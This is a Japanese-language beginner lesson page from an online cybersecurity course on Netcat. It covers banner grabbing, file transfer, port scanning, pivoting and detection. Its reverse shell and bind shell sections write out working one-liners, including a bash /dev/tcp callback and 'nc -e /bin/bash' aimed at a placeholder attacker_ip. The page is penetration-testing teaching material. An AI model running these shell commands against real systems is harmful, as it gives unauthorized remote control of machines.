Netcat:ネットワークの万能ツール
ncを使って、バナー取得、ファイル転送、ポートフォワーディング、単純なリバースシェルを行います。
「Netcat:ネットワークの万能ツール」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン3/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
Netcatとは
Netcat(nc)は、TCPまたはUDPを使用してネットワーク接続経由でデータを読み書きするユーティリティです。ほぼすべてのUnixシステムにインストールされており、デバッグ、ファイル転送、基本的なエクスプロイトに非常に役立ちます。
基本的な接続とバナー取得
任意のTCPポートに接続してサービスバナーを取得し、プロトコルを手動で操作できます。これは偵察の最も基本的な形です。
# Connect to port 80
nc 192.168.1.100 80
GET / HTTP/1.0
[Enter twice]
# Connect to SMTP
nc mail.example.com 25
# Returns: 220 mail.example.com ESMTPポートでの待ち受け
Netcatは-l -pを使って着信接続を待ち受けできます。接続性のテスト、リバースシェルの受信、ファイルの受信に便利です。
# Listen on port 4444
nc -lvnp 4444
# -l listen
# -v verbose
# -n no DNS resolution
# -p port numberNetcatによるファイル転送
Netcatでは、ファイルを接続にパイプして送信できます。受信側は待ち受けを行い、出力をファイルにリダイレクトします。暗号化されないため、信頼できるネットワークでのみ使用してください。
# Receiver (runs first):
nc -lvnp 4444 > received_file.txt
# Sender:
nc 192.168.1.10 4444 < file_to_send.txtNetcatによるポートスキャン
Netcatは、-z(I/Oなしモード)と-w(タイムアウト)を使って基本的なポートスキャンを実行できます。Nmapより低速ですが、Nmapを使用できない場合に便利です。
# Scan ports 20-80
nc -zv 192.168.1.100 20-80 2>&1 | grep succeeded
# With timeout:
nc -zvw2 192.168.1.100 22 80 443単純なリバースシェル
リバースシェルを使うと、対象が攻撃者へ接続し返します。対象へのインバウンド接続をファイアウォールルールでブロックされている場合のペネトレーションテストに役立ちます。
# Attacker listens:
nc -lvnp 4444
# Target executes (bash):
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# Or via nc:
nc attacker_ip 4444 -e /bin/bashバインドシェル
バインドシェルは対象マシン上で待ち受けます。攻撃者はそこへ接続します。通常、ファイアウォールがインバウンド接続をブロックするため、現代のペネトレーションテストではあまり使われません。
# On target: listen and serve a shell
nc -lvnp 5555 -e /bin/bash
# On attacker: connect
nc target_ip 5555UDPモード
UDP接続には-uを使用します。DNS(ポート53)やSNMP(ポート161)などのUDPサービスのテストに便利です。
# Test DNS over UDP
nc -u 8.8.8.8 53
# Test SNMP
nc -u 192.168.1.1 161Netcatによるプロキシ接続
Netcatは接続を連鎖させて、ネットワークを経由するピボットに利用できます。名前付きパイプ(mkfifo)と組み合わせると、追加のツールなしで単純な双方向トンネルを作成できます。
mkfifo /tmp/pipe
nc -lvnp 4445 < /tmp/pipe | nc internal_host 80 > /tmp/pipeNcat:現代的な代替ツール
Ncat(Nmapの一部)は、SSLサポート(--ssl)、アクセス制御、ブローカーモードによってNetcatを拡張したツールです。暗号化されたチャネルにはNcatを優先して使用してください。
# SSL listener
ncat --ssl -lvnp 4444
# SSL connect
ncat --ssl target_ip 4444防御側:Netcatの検出
Netcatの接続は通常のTCP接続のように見えます。防御側は、プロセス名の監視(HIDS)、通常とは異なる送信先ポート、予期しない親プロセスから起動されたシェルなどによって検出します。
クイックチェック
リッスンモードを有効にするNetcatのフラグはどれですか。
まとめ:Netcat
Netcatは基本的なツールです。バナー取得、ファイル転送、接続性テスト、リバースシェルとバインドシェルの仕組みの理解に使用します。許可されたペネトレーションテストでは、ファイアウォールルールの検証や攻撃者によるピボットのシミュレーションに役立ちます。使用するためにも検出するためにも、十分に習熟してください。
よくある質問
「Netcat:ネットワークの万能ツール」レッスンは無料ですか?
はい。「Netcat:ネットワークの万能ツール」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「Netcat:ネットワークの万能ツール」で何を学びますか?
ncを使って、バナー取得、ファイル転送、ポートフォワーディング、単純なリバースシェルを行います。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/4です。
「Netcat:ネットワークの万能ツール」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Nmapによるポートスキャン技法
- サービスとOSのフィンガープリンティング
- Netcat:ネットワークの万能ツール
- ネットワーク列挙のスクリプト作成